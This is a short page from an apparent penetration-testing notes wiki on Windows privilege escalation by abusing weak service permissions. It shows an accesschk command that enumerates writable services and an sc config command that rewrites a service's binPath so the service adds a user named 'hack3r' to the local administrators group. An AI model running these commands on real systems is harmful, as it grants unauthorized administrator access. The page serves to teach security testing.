> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/weak-permissions/manipulating-service-binpath.md).

# Manipulating Service binPath

You may use SharpUp or Sysinternals [accesschk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) to query the groups with access to the given service. For example, if a service provides `SERVICE_ALL_ACCESS` to a group we belong to, we may use `sc` to configure a different binary to be run by the service.

{% code title="AccessChk to enumerate objects w/ write access" %}

```bat
accesschk.exe /accepteula -quvcw FunService
```

{% endcode %}

```
sc config FunService binpath="cmd /c net localgroup administrators hack3r /add"
```